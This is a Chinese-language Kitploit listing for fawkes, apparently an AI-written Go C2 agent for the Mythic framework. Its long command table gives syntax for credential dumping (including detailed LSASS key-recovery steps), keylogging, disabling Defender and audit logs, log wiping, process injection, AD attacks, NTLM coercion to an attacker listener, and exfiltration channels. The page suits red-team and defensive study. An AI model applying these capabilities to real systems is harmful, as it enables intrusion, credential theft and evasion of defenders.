Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
fawkes — Fawkes 是一个由 AI 独家编写的 Golang Mythic C2 Agent。 | Kitploit
工具/GitHubGitHub/galoryber/fawkes
防御工具渗透测试框架权限提升漏洞利用框架横向移动后渗透利用云安全命令与控制Payload 开发容器逃逸
GitHubgaloryber/fawkes

fawkes

3561个月前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Fawkes 是一个由 AI 独家编写的 Golang Mythic C2 Agent。

查看仓库

Fawkes Mythic C2 Agent

Fawkes 是一个完全以氛围驱动的方式(vibe-coded)编写的 Mythic C2 代理。它始于一个“我想知道”的念头,如今已成为一个目标。我的目标是:不为此代理写一行代码,而是完全通过提示语(prompt)来生成它。

我最初尝试自己编写代理,但在克隆示例容器、阅读 Mythic 文档、观看开发系列 YouTube 视频,以及从 Merlin 或 Freyja 等其他代理复制代码后,我意识到自己根本没有时间开发自己的代理。不过,编写提示语这件事,我还是有时间做的。

Fawkes 是一个基于 Go 语言的代理,具备跨平台能力。它支持 Windows(EXE、DLL 和 shellcode 载荷)、Linux(ELF 二进制文件和共享库)以及 macOS(适用于 Intel 和 Apple Silicon 的 Mach-O 二进制文件)。总计 213 个命令:其中 113 个跨平台命令、82 个仅限 Windows 的命令、21 个仅限 Unix 的命令、11 个仅限 Linux 的命令,以及 6 个仅限 macOS 的命令(部分命令具有平台特定的实现,但共享同一个面向用户的名称,例如 screenshot)。支持 HTTP 出口和 TCP 点对点(P2P)链接,用于内部横向移动。

安装

要安装 Fawkes,你需要在一台远程计算机上安装 Mythic。你可以从 Mythic 项目页面 找到 Mythic 的安装说明。

从 Mythic 安装目录:``` ./mythic-cli install github https://github.com/galoryber/fawkes

root@kitploit:~
## 命令快速参考Command | Syntax | Description
------- | ------ | -----------
acl-edit | `acl-edit -action read -server dc01 -target user` | 读取/修改Active Directory对象DACL(添加/删除ACE,授予DCSync、GenericAll,备份/恢复)。跨平台 (T1222.001, T1098, T1003.006)。
adcs | `adcs -action <cas\|templates\|find\|request\|auto-exploit> -server <DC> -username <user@domain> -password <pass> [-ca_name <CA>] [-template <name>] [-alt_name <UPN>]` | 枚举AD证书服务,发现易受攻击的模板(ESC1-ESC4,通过DCOM的ESC6),通过DCOM请求证书以利用ESC1/ESC6,或自动利用(查找→解析→请求链)。跨平台 (T1649)。
ads | `ads -action <write\|read\|list\|delete> -file <path> [-stream <name>] [-data <content>] [-hex true]` | **(仅Windows)** 管理NTFS备用数据流——写入、读取、列出或删除隐藏数据流。支持文本和十六进制编码的二进制。MITRE T1564.004。
amcache | `amcache -action <query\|search\|delete\|clear> [-name <pattern>] [-count <n>]` | 查询和清理取证执行痕迹。Windows: Shimcache。Linux: recently-used.xbel、缩略图、Tracker。macOS: 最近项目、KnowledgeC、隔离 (T1070.004)。
apc-injection | `apc-injection [-method <apc\|hwbp>] -pid <PID> [-tid <TID>] [-target_api ntdll!NtDelayExecution] [-timeout_ms 30000]` | **(仅Windows)** 远程进程注入。`-method apc`(默认)通过NtQueueApcThread将shellcode排队到可提醒线程(使用`ts`查找)。`-method hwbp`通过DebugActiveProcess附加,在目标API(默认为`ntdll!NtDelayExecution`)上设置DR0硬件断点,并在断点触发时将Rip重定向到shellcode——无需TID,无需APC队列,无需CreateRemoteThread (T1055.004, T1055)。
audio-capture | `audio-capture [-duration 10] [-sample_rate 16000] [-channels 1] [-device default]` | 从麦克风录制音频并上传WAV文件。Windows (waveIn)、Linux (arecord/parecord)、macOS (rec/ffmpeg)。跨平台 (T1123)。
auditpol | `auditpol -action <query\|disable\|enable\|stealth> [-category <name\|all>]` | **(仅Windows)** 查询和修改Windows审核策略。在敏感操作前禁用安全事件日志记录。隐身模式禁用检测关键子类别。使用AuditQuerySystemPolicy API (T1562.002)。
argue | `argue -command "cmd.exe /c whoami" -spoof "cmd.exe /c echo hello"` | **(仅Windows)** 使用伪造的进程参数执行命令。绕过Sysmon事件ID 1和EDR命令行遥测 (T1564.010)。
arp | `arp [-ip <subnet>]` 或 `arp -action spoof -target <IP> -gateway <IP>` | 显示带过滤的ARP表,或ARP缓存投毒用于中间人定位 (T1557.002)。欺骗:仅Linux,清理时恢复。
asrep-roast | `asrep-roast -server <DC> -username <user@domain> -password <pass> [-account <target>]` | 为未启用预认证的账户请求AS-REP票据,并以hashcat格式提取哈希用于离线破解。通过LDAP自动枚举。跨平台 (T1558.004)。
av-detect | `av-detect [-deep true]` | 通过扫描运行进程并与130+签名数据库比对,检测已安装的AV/EDR/安全产品。使用`--deep`时,还会检查内核模块、systemd单元和配置目录以发现已安装但未运行的产品(Linux)。报告产品、供应商、类型和PID。跨平台。
autopatch | `autopatch <dll_name> <function_name> <num_bytes>` | **(仅Windows)** 通过跳转到最近的返回(C3)指令来自动修补函数。用于AMSI/ETW绕过。
base64 | `base64 -action <encode\|decode\|xor\|hex\|hex-decode\|rot13\|url\|url-decode\|caesar> -input <data> [-key <key>] [-shift <N>] [-file true] [-output <path>]` | 数据编码工具包:base64、XOR(使用字符串/十六进制密钥)、十六进制、ROT13、URL百分比编码、凯撒密码。均支持文件I/O。跨平台 (T1132.001, T1140, T1027)。
bits | `bits -action <list\|create\|persist\|cancel\|suspend\|resume\|complete> [-name <job>] [-url <URL>] [-path <local>] [-command <exe>]` | **(仅Windows)** 管理BITS传输作业以实现持久化和隐蔽文件下载。创建、暂停、恢复、完成作业并设置通知命令以实现持久化。作业在重启后持续存在 (T1197)。
browser | `browser [-action <passwords\|cookies\|history\|autofill\|bookmarks\|downloads>] [-browser <all\|chrome\|edge\|chromium\|firefox>]` | 从Chromium、Firefox和Safari中提取浏览器数据。历史记录、自动填充、书签、下载跨平台。密码:Chromium (DPAPI/钥匙串/GNOME密钥环)、Firefox (key4.db NSS解密)、Safari (macOS钥匙串)。Firefox cookies在所有平台。MITRE T1555.003, T1217。
cat | `cat <file>` 或 `cat -path <file> -start N -end N -number true` | 显示文件内容,可指定行范围、行号,并有5MB大小保护。
cd | `cd <directory>` | 更改当前工作目录。
chmod | `chmod -path <file> -mode <permissions> [-recursive true]` | 使用八进制(755、644)或符号(+x、u+rw、go-w)表示法修改文件/目录权限。支持递归。跨平台 (T1222)。
chown | `chown -path <file> -owner <user> [-group <group>] [-recursive true]` | **(仅Linux/macOS)** 通过用户名/UID和组名/GID更改文件/目录所有者。支持递归 (T1222)。
cert-check | `cert-check -host <hostname> [-port 443] [-timeout 10]` | 检查远程主机上的TLS证书——识别CA、自签名证书、过期时间、SAN、TLS版本、密码套件和SHA256指纹。跨平台 (T1590.001)。
certstore | `certstore -action <list\|find> [-store <MY\|ROOT\|CA\|Trust\|TrustedPeople>] [-filter <substring>]` | **(仅Windows)** 枚举Windows证书存储以查找代码签名证书、客户端身份验证证书和私钥。搜索CurrentUser和LocalMachine。MITRE T1552.004, T1649。
clipboard | `clipboard -action <read\|write\|monitor\|dump\|stop> [-data "text"] [-interval 3]` | 读取/写入剪贴板或持续监控更改并检测凭据模式。跨平台 (T1115)。
cloud-metadata | `cloud-metadata -action <detect\|creds\|storage\|aws-iam\|azure-graph\|gcp-iam\|aws-s3\|azure-blob\|gcp-gcs\|aws-persist\|azure-persist\|aws-ssm\|azure-keyvault\|gcp-secrets\|...> [-provider <auto\|aws\|azure\|gcp\|do>]` | 云元数据、凭据提取、IAM枚举、存储枚举、持久化和机密存储访问。storage/aws-s3/azure-blob/gcp-gcs:枚举包含示例对象的存储桶/容器。aws-ssm:带解密的SSM参数存储。azure-keyvault:通过托管标识访问Key Vault机密。gcp-secrets:通过服务账号访问Secret Manager。aws-persist/azure-persist:创建长期访问密钥/应用注册。自动检测。IMDSv2。跨平台 (T1552.005, T1580, T1530, T1098.001)。
compress | `compress -action <create\|list\|extract\|stage\|exfil\|stage-exfil\|exfil-https\|exfil-github> -path <path> [-format zip\|tar.gz] [-output <out>] [-pattern *.txt] [-cleanup true]` | 创建、列出、提取、暂存或外泄归档。暂存使用AES-256-GCM加密。外泄传输到Mythic。exfil-https:通过分块上传、自定义头部、抖动上传到S3/Azure/GCS预签名URL。exfil-github:通过GitHub Contents API外泄。跨平台 (T1560.001, T1074.001, T1041, T1048, T1567, T1567.001)。
coerce | `coerce -server <target> -listener <attacker-ip> [-method petitpotam\|printerbug\|shadowcoerce\|all] -username <user> [-password <pass>] [-hash <NT hash>] [-domain <domain>]` | 通过MS-EFSR (PetitPotam)、MS-RPRN (PrinterBug)、MS-FSRVP (ShadowCoerce) 进行NTLM身份验证强制。强制目标对攻击者监听器进行身份验证。支持传递哈希。跨平台 (T1187)。
config | `config [-action show\|set\|update] [-key sleep\|jitter\|killdate\|working_hours_start\|working_hours_end\|working_days] [-value <val>] [-file <binary>] [-hash <sha256>]` | 查看或修改运行时代理配置,或自更新代理二进制文件。`show`/`set`:休眠、抖动、结束日期、工作时间。`update`:从Mythic下载新payload,验证,启动并退出当前代理。跨平台 (T1105)。
container-detect | `container-detect` | 检测容器运行时和环境(Docker、K8s、LXC、Podman、WSL)。检查逃逸向量如Docker套接字和K8s服务账号。跨平台 (T1082, T1497.001)。
container-escape | `container-escape -action <check\|docker-sock\|cgroup\|nsenter\|mount-host\|k8s-enum\|k8s-secrets\|k8s-rbac\|k8s-nodes\|k8s-etcd\|k8s-deploy\|k8s-exec> [-command '<cmd>'] [-path <ns>\|<ns1,ns2,...>\|*] [-kubeconfig /path/to/config]` | **(仅Linux)** 容器逃逸 + K8s操作——Docker套接字、cgroup、nsenter、主机设备挂载。K8s:枚举pod/服务、读取机密、**k8s-rbac**:ClusterRole/RoleBinding扫描 + 权限提升路径评分(严重/警告/信息)、**k8s-nodes**:集群节点攻击面(kubelet/OS/内核/CIDR/污点/角色)、**k8s-etcd**:从控制平面pod参数发现etcd客户端端点 + 每个端点的未认证`/version`探测(未认证读取 = 完全集群沦陷)、通过API部署/执行pod。**集群外**:`-kubeconfig`接受窃取的kubeconfig文件,用于非容器主机上的K8s访问(令牌+客户端证书认证)(T1611, T1610, T1613, T1552.007, T1069.003, T1087.004)。
cp | `cp <source> <destination>` | 将文件从源复制到目标。
cred-check | `cred-check [-action check\|verify-all] -hosts <IPs/CIDRs> -username <DOMAIN\user> -password <pass> [-hash <NTLM>] [-timeout <seconds>]` | 在目标主机上测试凭据是否可用于SMB、WinRM和LDAP。`verify-all`并行测试所有存储凭据对发现的主机。跨平台 (T1110.001, T1078)。
cred-harvest | `cred-harvest -action <shadow\|cloud\|configs\|history\|windows\|m365-tokens\|browser-live\|all\|dump-all> [-user <username>]` | 收集凭据:影子哈希(Unix)、云配置(AWS/GCP/Azure/K8s)、应用机密、shell历史记录扫描泄漏的密码/令牌/API密钥、PowerShell历史记录+环境变量+RDP(Windows)、来自TokenBroker/Teams/Outlook的M365 OAuth/JWT令牌(Windows)、**browser-live**:通过Chrome DevTools协议(CDP)从运行的Chrome/Edge窃取实时cookie、localStorage、sessionStorage。**dump-all**:自动化子任务链——并行运行hashdump + lsa-secrets + cred-harvest(Windows)。跨平台 (T1552, T1003.008, T1528, T1539)。
credential-prompt | `credential-prompt [-action dialog\|device-code\|mfa-phish] [-title "Authentication Required"] [-message "Enter your credentials..."] [-icon caution]` | 显示原生凭据对话框、滥用OAuth设备代码流或钓鱼MFA代码。dialog:macOS AppleScript、Windows CredUI、Linux zenity/kdialog。device-code:用于令牌捕获的Azure AD OAuth设备代码流。mfa-phish:伪造的MFA验证对话框以捕获TOTP代码。跨平台 (T1056.002, T1621, T1111)。
curl | `curl -url <URL> [-method GET\|PUT\|POST] [-file <path>] [-upload raw\|multipart] [-headers '{"K":"V"}'] [-body <data>]` | HTTP请求 + 文件上传外泄 (T1567)。上传到S3预签名URL、Azure SAS、通用端点。跨平台 (T1106, T1567.002)。
cut | `cut -path <file> -delimiter <char> -fields <1,3\|1-3\|2-> [-chars <1-10>]` | 从文件行中提取字段或字符范围。自定义分隔符、范围说明。跨平台 (T1083)。
credman | `credman [-action <list\|dump\|vault>] [-filter <pattern>]` | 枚举平台凭据存储。Windows:凭据管理器 + 保管库 (CredEnumerateW, vaultcli.dll)。Linux:GNOME密钥环 (secret-tool)、KDE KWallet、NetworkManager WiFi/VPN密码、GNOME在线账号。macOS:钥匙串项(通用+互联网密码)、WiFi密码。`list`=元数据,`dump`=包含机密,`vault`=仅Windows。MITRE T1555.004, T1555.001。
defender | `defender -action <status\|exclusions\|add-exclusion\|remove-exclusion\|threats\|enable\|disable> [-type <path\|process\|extension>] [-value <val>]` | **(仅Windows)** 管理Defender——状态、排除项、威胁、启用/禁用实时保护。MITRE T1562.001。
dpapi | `dpapi -action <decrypt\|masterkeys\|chrome-key> [-blob <base64>] [-entropy <base64>]` | **(仅Windows)** DPAPI blob解密 (CryptUnprotectData)、主密钥枚举、Chrome/Edge加密密钥提取。MITRE T1555.003/T1555.005。
email | `email -action <count\|search\|read\|folders> [-folder <name>] [-query <keyword>] [-index <n>]` | **(仅Windows)** 通过COM访问Outlook邮箱。统计消息数、按关键字搜索、按索引读取、列出文件夹。MITRE T1114.001。
dcom | `dcom -action <exec\|upload\|exec-staged\|check> -host <target> -command <cmd> [-args <arguments>] [-object mmc20\|shellwindows\|shellbrowser\|wscript\|excel\|outlook]` | **(仅Windows)** 通过DCOM在远程主机上执行命令、上传文件或暂存并执行。`check`验证RPC/DCOM先决条件。upload:通过certutil/PowerShell暂存传输文件。exec-staged:上传然后执行并自动清理。六个COM对象。MITRE T1021.003, T1570。
debug-detect | `debug-detect` | 检测附加的调试器、分析工具和检测工具。Windows:IsDebuggerPresent、NtQueryInformationProcess、PEB、DR寄存器。Linux:TracerPid、LD_PRELOAD、内存映射(Frida/Valgrind/sanitizers)、VM/沙箱、eBPF监控(Falco/Tetragon/Tracee)、auditd框架、ptrace范围。macOS:sysctl P_TRACED、DYLD_INSERT_LIBRARIES、VM检测(sysctl)、安全产品(EDR/AV)、沙箱/分析环境。全部:调试器进程扫描 (T1497.001)。
dcsync | `dcsync [-action sync\|domain-takeover] -server <DC> -username <user> [-password <pass>] [-hash <NT hash>] [-target <account[,account2]>]` | DCSync——通过DRS复制AD凭据而不接触LSASS。`domain-takeover`并行运行kerberoast + asrep-roast + dcsync krbtgt/Administrator。跨平台 (T1003.006)。
df | `df [-filesystem <device>] [-mount_point <path>] [-fstype <type>]` | 报告文件系统磁盘空间使用情况,可选设备、挂载点或文件系统类型过滤。跨平台 (T1082)。
diff | `diff -file1 <path> -file2 <path> [-context <n>]` | 比较两个文件并以统一差异格式显示差异。基于LCS的算法,可配置上下文行数。跨平台 (T1083)。
dns | `dns -action <resolve\|reverse\|srv\|mx\|ns\|txt\|cname\|all\|dc\|zone-transfer\|wildcard\|exfil\|doh> -target <host> [-server <dns_ip>]` | DNS枚举——解析主机、查询记录、发现域控制器、区域传输、通配符检测、DNS-over-HTTPS隐蔽解析、DNS外泄。跨平台 (T1018, T1071.004, T1048.001)。
du | `du -path <file_or_dir> [-max_depth <n>]` | 报告文件和目录的磁盘使用情况。按子目录显示大小细分,按最大排序。跨平台 (T1083)。
drivers | `drivers [-filter <name>]` | 枚举已加载的内核驱动程序/模块。Windows:EnumDeviceDrivers,Linux:/proc/modules,macOS:kext枚举。跨平台 (T1082)。
domain-policy | `domain-policy -action <all\|password\|lockout\|fgpp> -server <DC> -username <user@domain> -password <pass>` | 通过LDAP枚举AD密码/锁定策略和FGPP。推荐安全喷洒设置。跨平台 (T1201)。
crontab | `crontab -action <list\|add\|remove> [-entry <cron_line>] [-program <path>] [-schedule <schedule>]` | **(仅Linux/macOS)** 列出、添加或删除cron作业以实现持久化。支持原始cron条目或程序+计划语法。
download | `download <path>` 或 `download {"path": "/file", "compress": true}` | 从目标下载文件或目录。大于1MB的文件自动用gzip压缩(可配置)。目录自动压缩为zip。SHA256哈希验证。分块传输,文件浏览器集成。
drives | `drives` | 列出可用驱动器/卷和已挂载文件系统,包含类型、标签/设备和空闲/总空间。
enum-tokens | `enum-tokens [-action list\|unique] [-user <filter>]` | **(仅Windows)** 枚举所有进程中的访问令牌。`list`显示每个进程的PID/用户/完整性/会话。`unique`按用户分组并显示进程数。自动启用SeDebugPrivilege (T1134, T1057)。
encrypt | `encrypt -action <encrypt\|decrypt\|encrypt-files\|decrypt-files\|corrupt\|corrupt-files> -path <file_or_glob> [-key <base64key>] [-confirm SIMULATE\|CORRUPT]` | AES-256-GCM加密/解密 (T1486) + 定向文件破坏 (T1565)。corrupt:用随机数据覆盖文件头。破坏性操作需要安全门。
env | `env [-action <list\|get\|set\|unset>] [-name <VAR>] [-value <val>] [-filter <pattern>]` | 列出、获取、设置或取消设置代理进程的环境变量。更改由子进程继承。跨平台。
env-scan | `env-scan [-pid <PID>] [-filter <pattern>]` | 扫描进程环境变量以查找泄漏的凭据、API密钥和机密。跨云、数据库、CI/CD和加密类别的35+检测模式。Linux + macOS (T1057, T1552.001)。
etw | `etw -action <sessions\|rules\|agents\|patch\|restore\|blind-all\|...> [-session_name <name>] [-provider <guid\|shorthand>]` | **(Windows、Linux、macOS)** 审核/遥测子系统操控。Windows:ETW会话/提供者停止/盲化/全部盲化/启用/修补/恢复。Linux:auditd规则、journald清除/轮转、syslog配置、SIEM代理检测。macOS:统一日志、安全代理检测。(T1562, T1070.002)。
eventlog | `eventlog -action <list\|query\|clear\|info\|enable\|disable> [-channel <name\|unit\|subsystem\|path>] [-event_id <id>] [-filter <xpath\|keyword\|timewindow>] [-count <max>]` | 管理系统事件日志。Windows:wevtapi.dll通道。Linux:journald单元和syslog文件。macOS:统一日志 (os_log) 子系统/进程。列出源、查询事件、清除/清理日志、获取信息。MITRE T1070.001, T1562.002。
execute-memory | `execute-memory -arguments 'arg1 arg2' -timeout 60` | 从内存执行本地二进制文件。Linux:memfd_create(不写入磁盘)。macOS:临时文件附带临时代码签名。Windows:临时文件并立即清理。所有平台执行后移除痕迹。MITRE T1620。
execute-shellcode | `execute-shellcode [-technique mmap\|memfd] [-encoding none\|xor\|aes] [-key hex]` | 在当前进程中执行shellcode。支持XOR/AES-256-CTR编码的shellcode并运行时解码 (T1027)。Windows:VirtualAlloc + CreateThread。Linux:mmap(默认)或memfd_create。macOS:MAP_JIT (ARM64) 或 mmap。跨平台 (T1059.006, T1620)。
exit | `exit` | 任务代理退出。
file-attr | `file-attr -path <file> [-attrs "+hidden,-readonly,+immutable"]` | 获取或设置文件属性——hidden、readonly、system(Windows);immutable、append、nodump(Linux);hidden、immutable(macOS)。省略 -attrs 可查看当前标志。跨平台 (T1564.001, T1222)。
file-type | `file-type -path <file_or_dir> [-recursive true] [-max_files 100]` | 通过魔数(35+签名)识别文件类型。单个文件或目录扫描。检测可执行文件、归档、文档、图片、数据库、媒体等。跨平台 (T1083)。
find | `find -pattern <glob> [-path <dir>] [-min_size <bytes>] [-max_size <bytes>] [-newer <min>] [-older <min>] [-type f\|d] [-perm suid\|sgid\|writable\|executable\|<octal>] [-owner <user\|uid>]` | 按名称、大小、日期、权限或所有者搜索文件。查找SUID二进制文件、全局可写文件、特定用户拥有的文件。跨平台 (T1083)。
find-admin | `find-admin -hosts <targets> -username <user> -password <pass> [-method smb\|winrm\|both] [-hash <NT>] [-action scan\|auto-move] [-lateral_method psexec\|wmi] [-lateral_command <cmd>]` | 扫描主机以发现哪些主机上的凭据具有管理员访问权限(通过SMB C$共享和/或WinRM)。**auto-move**:自动化子任务链——查找管理员主机,然后通过psexec/wmi横向移动到每个主机。支持CIDR、IP范围、PTH、并行扫描 (T1021.002, T1021.006)。
firewall | `firewall -action <list\|add\|delete\|enable\|disable\|status\|pf-add\|pf-delete\|pf-list> [-name <rule>] [-direction <in\|out>] [-protocol <tcp\|udp\|any>] [-port <port>]` | **(Windows、macOS、Linux)** 管理防火墙规则。Windows:COM API。macOS:ALF + pf锚定规则。Linux:iptables/nftables(自动检测)。为macOS包过滤提供PF锚点支持。MITRE T1562.004。
getprivs | `getprivs -action list\|enable\|disable\|strip [-privilege <name>]` | **(Windows、macOS、Linux)** 列出权限/能力。Windows:令牌权限,可启用/禁用/剥离。Linux:进程能力 (CapEff/CapPrm) + SELinux/AppArmor上下文。macOS:权限、沙箱、组 (T1134.002)。
getsystem | `getsystem [-technique steal\|potato\|check\|sudo\|osascript]` | **(Windows、Linux、macOS)** 权限提升。Windows:通过令牌窃取或DCOM potato获取SYSTEM。Linux:检查提升向量(SUID、sudo、能力、docker)或尝试sudo提权。macOS:检查向量、sudo或osascript管理员提示 (T1134, T1548)。
gpp-password | `gpp-password -server <DC> -username <user@domain> -password <pass>` | 在SYSVOL中搜索包含加密cpassword属性的GPP XML文件,并使用公布的AES密钥解密 (MS14-025)。通过SMB跨平台 (T1552.006)。
gpo | `gpo -action <list\|links\|find\|all> -server <DC> -username <user@domain> -password <pass> [-filter <name>]` | 通过LDAP枚举组策略对象——列出GPO、映射链接及强制、发现有趣的CSE设置。跨平台 (T1615)。
grep | `grep -pattern <regex> [-path <dir>] [-extensions .txt,.xml] [-ignore_case] [-max_results 100]` | 在文件内容中搜索正则表达式模式。递归目录搜索,支持扩展名过滤、上下文行和跳过二进制文件。跨平台 (T1083, T1552.001)。
hash | `hash -path <file_or_dir> [-algorithm md5\|sha1\|sha256\|sha512] [-recursive true] [-pattern *.exe] [-max_files 500]` | 计算文件哈希(MD5、SHA-1、SHA-256、SHA-512)。单个文件或目录,支持通配符模式过滤和深度控制。跨平台 (T1083)。
hexdump | `hexdump -path <file> [-offset <bytes>] [-length <bytes>]` | 以xxd风格的十六进制+ASCII格式显示文件内容。偏移/长度控制以检查特定区域,最大4096字节。跨平台 (T1005)。
handles | `handles -pid <pid> [-type File] [-show_names] [-max_count 500]` | **(Windows、Linux、macOS)** 枚举进程中的打开句柄/文件描述符。Windows:NtQuerySystemInformation。Linux:/proc/pid/fd。macOS:lsof (T1057, T1082)。
hashdump | `hashdump [-action dump\|insitu\|insitu-full\|tickets\|auto-spray] [-targets <hosts>] [-format json]` | **(Windows、Linux、macOS)** 提取本地帐户密码哈希。Windows:从SAM注册表获取NTLM哈希(需要SYSTEM);**insitu**:通过进程内LSA API枚举活动登录会话(需要管理员);**insitu-full**:以PROCESS_VM_READ打开lsass.exe,在lsasrv.dll中签名扫描LogonSessionList,遍历链表,在每个节点上叠加KIWI_MSV1_0_LIST_63布局以解析LUID/用户名/域/认证包/登录类型/凭据指针,遍历credentials_ptr处每个认证包的凭据链以捕获每个KIWI_MSV1_0_PRIMARY_CREDENTIAL_ENC信封,签名扫描LsaInitializeProtectedMemory_Internal以恢复IV / h3DesKey / hAesKey BCrypt密钥全局变量以及原始16字节IV / 24字节3DES / 32字节AES密钥字节,AES-256-CFB / 3DES-CBC解密每个捕获的密文blob(按`len % 8`逐blob选择),并叠加KIWI_MSV1_0_PRIMARY_CREDENTIAL_10_NEW布局以提取NT/LM/SHA哈希——以`username:rid:lm:nt:::`格式输出,兼容dump-action ProcessResponse凭据存储钩子(Phase 2B + 2C-i + 2C-ii-a + 2C-ii-b + 2C-ii-c,Win10 21H2 — Win11 23H2,需要管理员)。Linux:/etc/shadow哈希,带哈希类型识别(需要root)。macOS:来自用户plist的目录服务PBKDF2哈希(需要root)。**auto-spray**:转储哈希,然后通过cred-check自动针对目标主机进行喷洒。MITRE T1003.002, T1003.008。
history-scrub | `history-scrub [-action list\|clear\|clear-all] [-user <username>]` | 列出或清除shell/应用程序命令历史文件。涵盖bash、zsh、fish、PowerShell、python、mysql等。跨平台 (T1070.003)。
hollow | `hollow -filename <shellcode> [-target <process>] [-ppid <pid>] [-block_dlls true]` | 进程空洞——创建挂起的进程、写入shellcode、重定向执行。**Windows:** CREATE_SUSPENDED + SetThreadContext、PPID欺骗、DLL阻止、PEB装饰(ImagePath/CommandLine/WindowTitle掩蔽)。**Linux (amd64/arm64):** PTRACE_TRACEME + /proc/mem写入。**macOS:** ptrace + Mach VM API (task_for_pid, mach_vm_allocate, mach_vm_write, mach_vm_protect) —— 需要root。MITRE T1055.012, T1036。
ide-recon | `ide-recon -action <vscode\|jetbrains\|all> [-user <filter>]` | 枚举IDE配置——VS Code扩展、远程SSH主机、最近项目、包含机密的设置。JetBrains数据源、部署服务器、最近项目。跨平台 (T1005, T1083)。
ifconfig | `ifconfig` | 列出网络接口,包含地址、MAC、MTU和标志。跨平台 (Windows/Linux/macOS)。
inline-assembly | `inline-assembly` | **(仅Windows)** 使用CLR在内存中执行.NET程序集。支持命令行参数。先使用`start-clr`进行AMSI修补工作流。
inline-execute | `inline-execute` | **(仅Windows)** 在内存中执行Beacon Object File (BOF/COFF)。支持所有参数类型:字符串 (z)、宽字符串 (Z)、整数 (i)、短整数 (s) 和二进制 (b)。
reflective-load | `reflective-load -dll_b64 <base64_dll> [-function <export>]` | **(仅Windows)** 从内存加载本地PE(DLL)到当前进程。手动PE映射,包含节复制、重定位修复、导入解析和DllMain调用。可选择调用导出函数 (T1620)。
iptables | `iptables -action <status\|rules\|nat\|add\|delete\|flush> [-rule <args>] [-table <name>]` | **(仅Linux)** 通过iptables/nftables/ufw进行Linux防火墙枚举和管理。IP转发、连接跟踪、规则列出和修改。MITRE T1562.004。
jobkill | `jobkill -id <task-uuid>` | 按任务ID停止正在运行的任务。使用`jobs`列出正在运行的任务。跨平台。
jobs | `jobs` | 列出当前正在运行的任务,包含任务ID、命令名称和持续时间。跨平台。
jxa | `jxa -code '<script>' [-timeout 60]` 或 `jxa -file /path/to/script.js` | **(仅macOS)** 执行JavaScript for Automation (JXA)脚本,通过ObjC桥接访问Foundation、AppKit、Security框架。支持内联代码和文件输入 (T1059.007)。
kerberoast | `kerberoast -server <DC> -username <user@domain> -password <pass> [-spn <SPN>]` | 为SPN账户请求TGS票据,并以hashcat格式提取哈希用于离线破解。通过LDAP自动枚举。跨平台 (T1558.003)。
klist | `klist -action <list\|purge\|dump\|import> [-server <filter>] [-ticket <base64>] [-path <path>]` | 枚举、转储、清除和导入Kerberos票据。导入启用传递票据:Windows通过LSA注入kirbi,Linux/macOS写入ccache并设置KRB5CCNAME。跨平台 (T1558, T1550.003)。
keychain | `keychain -action <list\|dump\|find-password\|find-internet\|find-cert> [-service <name>] [-server <host>]` | **(仅macOS)** 访问macOS钥匙串——列出钥匙串、转储元数据、查找通用/互联网密码、枚举证书。
kerb-delegation | `kerb-delegation -action <all\|unconstrained\|constrained\|rbcd\|monitor> -server <DC> -username <user@domain> -password <pass> [-duration <s>] [-interval <s>]` | 枚举Kerberos委派关系——非约束、约束(含协议转换)、RBCD。**monitor**动作(仅Windows/SYSTEM)轮询LSA以获取传入TGT并导出为kirbi blob。除monitor外跨平台 (T1550.003, T1558)。
keylog | `keylog -action <start\|stop\|dump\|status\|clear>` | 低级键盘记录器。Windows:SetWindowsHookEx。Linux:/dev/input evdev。macOS:IOKit HID。检测Ctrl+V/Cmd+V粘贴事件并捕获剪贴板内容。所有平台上的窗口上下文跟踪 (T1056.001)。
lateral-check | `lateral-check -hosts <IPs/CIDRs> [-timeout <seconds>]` | 测试针对目标的横向移动选项——检查SMB、WinRM、RDP、RPC、SSH连接性并建议适用的方法。跨平台 (T1046, T1021)。
last | `last [-action logins\|failed\|reboot] [-count 25] [-user <username>]` | 显示登录历史、失败登录尝试和系统启动/关闭事件。Linux:解析wtmp/btmp。Windows:安全/系统事件日志。macOS:原生`last` + 统一日志。(T1087.001, T1110, T1082)。
ldap-query | `ldap-query -action <users\|computers\|groups\|domain-admins\|spns\|asrep\|admins\|disabled\|gpo\|ou\|password-never-expires\|trusts\|unconstrained\|constrained\|dacl\|gmsa\|bloodhound\|query> -server <DC>` | 通过LDAP查询Active Directory。预设查询:用户、计算机、组、域管理员、所有管理员 (adminCount)、SPN、可AS-REP烘焙的、禁用账户、GPO、OU、密码永不过期、域信任、非约束/约束委派、DACL分析、gMSA密码提取、BloodHound CE v6收集(用户/计算机/组/OU/GPO/信任用于图分析)或自定义LDAP过滤器。跨平台 (T1087.002, T1482, T1555, T1003, T1615)。
ldap-write | `ldap-write -action <add-member\|remove-member\|set-attr\|add-attr\|remove-attr\|set-spn\|disable\|enable\|set-password\|shadow-cred\|clear-shadow-cred\|create-machine\|rbcd\|delete\|gpo-task\|gpo-script\|template-esc1\|template-esc4> -server <DC> -target <obj>` | 通过LDAP修改AD对象。组成员身份、属性、SPN、账户启用/禁用、密码重置、影子凭据、计算机账户创建、RBCD委派、对象删除。GPO滥用:注入计划任务 (gpo-task) 或启动脚本 (gpo-script)。ADCS:修改证书模板以用于ESC1/ESC4利用。跨平台 (T1098, T1556.006, T1484.001, T1649)。
kill | `kill -pid <PID>` | 按PID终止进程。跨平台 (Windows/Linux/macOS)。
laps | `laps -server <DC> -username <user@domain> -password <pass> [-filter <computer>]` | 通过LDAP从AD读取LAPS密码。支持LAPS v1 (ms-Mcs-AdmPwd) 和Windows LAPS v2 (ms-LAPS-Password)。跨平台 (T1552.006)。
lsa-secrets | `lsa-secrets -action <dump\|cached>` | **(仅Windows)** 提取LSA机密(服务密码、DPAPI密钥、机器账户)和缓存的域凭据(DCC2/MSCacheV2 hashcat格式)。需要SYSTEM (T1003.004, T1003.005)。
launchagent | `launchagent -action <install\|remove\|list> -label <com.example.name> [-path <exe>] [-daemon true]` | **(仅macOS)** 安装、移除或列出LaunchAgent/LaunchDaemon持久化。创建包含RunAtLoad+KeepAlive的plist。
